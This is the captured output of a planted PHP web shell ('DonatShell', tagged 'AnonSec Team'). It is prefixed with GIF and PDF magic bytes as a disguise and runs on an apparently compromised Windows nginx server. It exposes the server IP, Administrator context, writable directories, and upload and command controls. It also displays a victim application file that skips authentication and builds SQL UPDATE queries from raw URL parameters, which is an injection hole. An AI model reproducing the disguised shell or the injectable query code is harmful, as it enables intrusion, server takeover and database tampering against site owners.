GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/Setup/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/Setup/drive_Selected.php
<?
// JimMartinson/Setup/drive_Selected.php
// Set the user.userDefaultDrive in the database.

ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path.
$skipAuthentication = true;
include('application.phpinc');

if (isset($_GET["DEBUG"])) {
	$d = 'd';
	include('common/pageHeader.phpinc');
} else {
	$d = '';
	header('Content-Type: text/plain');
	header("Cache-Control: no-cache, must-revalidate");
	header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
}
	
// Test if driveSelection has a value.
if (isset($_GET["driveSelection"])) {
	// Get the driveLetter parameter from URL
	if (isset($_GET['driveSelection'])) {
		$driveLetter=$_GET['driveSelection'];
	} else {
		$driveLetter='';
	}
	if ( $driveLetter != '') {
		$_SESSION['userDefaultDrive'] = strtoupper($driveLetter);
		$driveLetter = "'".$driveLetter."'";
	} else {
		$_SESSION['userDefaultDrive'] = NULL;
		$driveLetter = 'NULL';
	}
	// Save the driveLetter as the userDefaultDrive.
	$f_lastModified = currentDateTime();
	$query = "UPDATE user SET
		userDefaultDrive = ".$driveLetter.",
		lastModified = '".$f_lastModified."',
		modifiedBy = ".$_SESSION['trueuserId']."
	WHERE userId = ".$_SESSION['userId']."
	";
	d_Var('userUpdate',$query,$d.'q'); //exit;
	$userUpdate = query_do($query);
	d_Var('$userUpdate',$userUpdate,$d.'');
}

// Test if dataFolder has a value.
if (isset($_GET["dataFolder"])) {
	// Get the driveLetter parameter from URL
	if (isset($_GET['dataFolder'])) {
		$dataFolder=$_GET['dataFolder'];
		if ( $dataFolder == 'Data_WWW' ) { $dataFolder = ''; }
	} else {
		$dataFolder='';
	}
	if ( $dataFolder != '') {
		$_SESSION['userDataFolder'] = $dataFolder;
		$dataFolder = "'".$dataFolder."'";
	} else {
		$_SESSION['userDataFolder'] = NULL;
		$dataFolder = 'NULL';
	}
	// Save the dataFolder as the userDefaultDrive.
	$f_lastModified = currentDateTime();
	$query = "UPDATE user SET
		userDataFolder = ".$dataFolder.",
		lastModified = '".$f_lastModified."',
		modifiedBy = ".$_SESSION['trueuserId']."
	WHERE userId = ".$_SESSION['userId']."
	";
	d_Var('userUpdate',$query,$d.'q'); //exit;
	$userUpdate = query_do($query);
	d_Var('$userUpdate',$userUpdate,$d.'');
}

if (  $d == 'd' ) { include('common/sectionFooter.phpinc'); }
// Output the driveLetter
echo $_SESSION['userDefaultDrive'];
ob_end_flush();
exit;
?>

Anon7 - 2022
AnonSec Team